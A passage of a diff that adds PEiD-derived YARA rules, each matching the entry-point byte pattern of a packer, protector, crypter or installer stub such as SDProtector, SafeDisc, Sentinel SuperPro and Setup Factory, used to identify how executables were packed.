+        $a = {60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02022_RosAsm_2050a____Betov_
+{
+    meta:
+        description = "[RosAsm 2050a -> Betov]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00}
+    condition:
+        $a
+}
+
+rule PEiD_02023_RPolyCrypt_v_1_0__personal_polycryptor__sign_from_pinch_
+{
+    meta:
+        description = "[RPolyCrypt v 1.0 (personal polycryptor) sign from pinch]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1}
+    condition:
+        $a
+}
+
+rule PEiD_02024_Safe_2_0_
+{
+    meta:
+        description = "[Safe 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 56 57 E8 C4 01 00}
+    condition:
+        $a
+}
+
+rule PEiD_02025_SafeDisc_4_
+{
+    meta:
+        description = "[SafeDisc 4]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+    condition:
+        $a
+}
+
+rule PEiD_02026_SafeDisc_SafeCast_2_xx___3_xx____Macrovision_
+{
+    meta:
+        description = "[SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C}
+    condition:
+        $a
+}
+
+rule PEiD_02027_SafeDisc_SafeCast_2_xx___3_xx____Macrovision_
+{
+    meta:
+        description = "[SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 97 50 A1 29 ?? ?? ?? ?? D0 61 5D EB 46 80 7C 24 08 00 75 3F 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 4C 24 04 59 EB 28 50 B8 2D ?? ?? ?? ?? 70 08 8B 40 0C FF D0 B8 2D ?? ?? ?? ?? 30 8B 40 04 FF D0 58 FF 35 ?? ?? ?? ?? C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? CC CC 81 EC E8 02 00 00 53 55 56 57}
+    condition:
+        $a
+}
+/*
+rule PEiD_02028_Safeguard_1_0____Simonzh_
+{
+    meta:
+        description = "[Safeguard 1.0 -> Simonzh]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 EB 29}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_02029_Sc_Obfuscator____SuperCRacker___Sign_by_fly_
+{
+    meta:
+        description = "[Sc Obfuscator -> SuperCRacker ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+rule PEiD_02030_SC_Obfuscator____SuperCRacker_
+{
+    meta:
+        description = "[SC Obfuscator -> SuperCRacker]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C}
+    condition:
+        $a
+}
+
+rule PEiD_02031_SCAN__AV_
+{
+    meta:
+        description = "[SCAN /AV]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 1F B8 ?? ?? 8E C0 26 8A 1E ?? ?? 80 ?? ?? 72}
+    condition:
+        $a
+}
+rule PEiD_02032_SCRAM__v0_8a1_
+{
+    meta:
+        description = "[SCRAM! v0.8a1]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 77 ?? CD 20 BC ?? ?? B9 ?? ?? 8B FC B2 ?? 58 4C}
+    condition:
+        $a
+}
+
+rule PEiD_02033_SCRAM__vC5_
+{
+    meta:
+        description = "[SCRAM! vC5]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 50 9D 9C 58 25 ?? ?? 75 ?? BA ?? ?? B4 09 CD 21 CD 20}
+    condition:
+        $a
+}
+rule PEiD_02034_SDC_1_2__Self_Decrypting_Binary_Generator____by_Claes_M_Nyberg_
+{
+    meta:
+        description = "[SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02035_SDC_1_2__Self_Decrypting_Binary_Generator____by_Claes_M_Nyberg_
+{
+    meta:
+        description = "[SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF}
+    condition:
+        $a
+}
+rule PEiD_02036_SDProtect____Randy_Li_
+{
+    meta:
+        description = "[SDProtect -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+    condition:
+        $a
+}
+
+rule PEiD_02037_SDProtect________________Randy_Li_
+{
+    meta:
+        description = "[Convert Base64 to ASCII U0RQcm90ZWN0KMOIw63CvMO+wrHCo8K7wqTDicOxKSAtPiBSYW5keSBMaQ==]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_02038_SDProtector_1_1x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_02039_SDProtector_1_x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+    condition:
+        $a
+}
+
+rule PEiD_02040_SDProtector_1_x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02041_SDProtector_Basic_Pro_Edition_1_10____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.10 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 64 A3 00 00 00 00 83 C4 08 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 59 03 00 00 03 C8 74 B8 75 B6 E8 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02042_SDProtector_Basic_Pro_Edition_1_10____Randy_Li_
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.10 -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+    condition:
+        $a
+}
+
+rule PEiD_02043_SDProtector_Basic_Pro_Edition_1_12____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.12 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2}
+    condition:
+        $a
+}
+
+rule PEiD_02044_SDProtector_Pro_1_12_
+{
+    meta:
+        description = "[SDProtector Pro 1.12]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02045_SDProtector_Pro_Edition_1_16____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Pro Edition 1.16 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02046_SDProtector_Pro_Edition_1_16____Randy_Li_
+{
+    meta:
+        description = "[SDProtector Pro Edition 1.16 -> Randy Li]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+    condition:
+        $a
+}
+
+rule PEiD_02047_SDProtector_V1_1X____Randy_Li___Sign_by_fly_
+{
+    meta:
+        description = "[SDProtector V1.1X -> Randy Li ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_02048_SEA_AXE_v2_2_
+{
+    meta:
+        description = "[SEA-AXE v2.2]"
+        ep_only = "true"
+    strings:
+        $a = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02049_SEA_AXE_
+{
+    meta:
+        description = "[SEA-AXE]"
+        ep_only = "true"
+    strings:
+        $a = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+    condition:
+        $a
+}
+
+rule PEiD_02050_SecuPack_v1_5_
+{
+    meta:
+        description = "[SecuPack v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+    condition:
+        $a
+}
+
+rule PEiD_02051_SecureEXE_3_0____ZipWorx_
+{
+    meta:
+        description = "[SecureEXE 3.0 -> ZipWorx]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02052_SecurePE_1_X____www_deepzone_org_
+{
+    meta:
+        description = "[SecurePE 1.X -> www.deepzone.org]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02053_SecurePE_1_X_
+{
+    meta:
+        description = "[SecurePE 1.X]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55}
+    condition:
+        $a
+}
+rule PEiD_02054_SEN_Debug_Protector____
+{
+    meta:
+        description = "[SEN Debug Protector???]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+    condition:
+        $a
+}
+
+rule PEiD_02055_Sentinel_SuperPro__Automatic_Protection__6_4_0____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) 6.4.0 -> Safenet]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_02056_Sentinel_SuperPro__Automatic_Protection__6_4_1____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) 6.4.1 -> Safenet]"
+        ep_only = "false"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_02057_Sentinel_SuperPro__Automatic_Protection__v6_4_0____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 85 ?? ?? ?? ?? 00 00 00 00 E8 ?? ?? ?? ?? 83 C4 04 83 F8 64 7C ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 A1 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 66 8B 55 00 83 C5 08}
+    condition:
+        $a
+}
+rule PEiD_02058_Sentinel_SuperPro__Automatic_Protection__v6_4_1____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00 68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? 00 00 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02059_Setup_Factory_6_0_0_3_Setup_Launcher_
+{
+    meta:
+        description = "[Setup Factory 6.0.0.3 Setup Launcher]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+    condition:
+        $a
+}
+
+rule PEiD_02060_Setup_Factory_6_x_Custom_
+{
+    meta:
+        description = "[Setup Factory 6.x Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 61 40 00 68 ?? 43 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? 61 40 00 33 D2 8A D4 89 15 A0 A9 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a
+}
+
+rule PEiD_02061_Setup_Factory_v6_0_0_3_Setup_Launcher_
+{
+    meta:
+        description = "[Setup Factory v6.0.0.3 Setup Launcher]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89 40 00 33 F6 56 E8 E0 00 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 E6 0F 00 00 FF 15 10 61 40 00 A3 40 8E 40 00 E8 A4 0E 00 00 A3 90 89 40 00 E8 4D 0C 00 00 E8 8F 0B 00 00 E8 22 FE FF FF 89 75 D0 8D 45 A4 50 FF 15 0C 61 40 00 E8 20 0B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 08 61 40 00 50 E8 5A E9 FF FF 89 45 A0 50 E8 10 FE FF FF 8B 45}
+    condition:
+        $a
+}
+
+rule PEiD_02062_Setup2Go_Installer_Stub_
+{
+    meta:
+        description = "[Setup2Go Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+    condition:
+        $a
+}
+rule PEiD_02063_Sexe_Crypter_1_1___by_santasdad_
+{
+    meta:
+        description = "[Sexe Crypter 1.1 - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B D8 53 E8 C8 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 14 57 00 10 E8 AD F6 FF FF B8 14 57 00 10 E8 9B F6 FF FF 8B CF 8B D6 E8 DA FA FF FF 53 E8 84 FA FF FF 8D 4D EC BA F8 3A 00 10 A1 14 57 00 10 E8 0A FB FF FF 8B 55 EC B8 14 57 00 10 E8 65 F5 FF FF B8 14 57 00 10 E8 63 F6 FF FF E8 52 FC FF FF 33 C0 5A 59 59 64 89 10 68 DB 3A 00 10 8D 45 EC E8 ED F4 FF FF C3 E9 83 EF FF FF EB F0 5F 5E 5B E8 ED F3 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 12 00 00 00 6B 75 74 68 37 36 67 62 62 67 36 37 34 76 38 38 67 79}
+    condition:
+        $a
+}
+/*
+rule PEiD_02064_Sharp_GPB_Graphics_format_
+{
+    meta:
+        description = "[Sharp GPB Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {4D 00 00 00 00 ?? ?? ?? ?? 08 00 00 00 03 00 00}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_02065_Shegerd_Dongle_V4_78____MS_Co__
+{
+    meta:
+        description = "[Shegerd Dongle V4.78 -> MS.Co.]"
+        ep_only = "true"
+    strings:
+        $a = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+    condition:
+        $a
+}
+
+rule PEiD_02066_ShellModify_0_1____pll621_
+{
+    meta:
+        description = "[ShellModify 0.1 -> pll621]"
+        ep_only = "true"
+    strings:
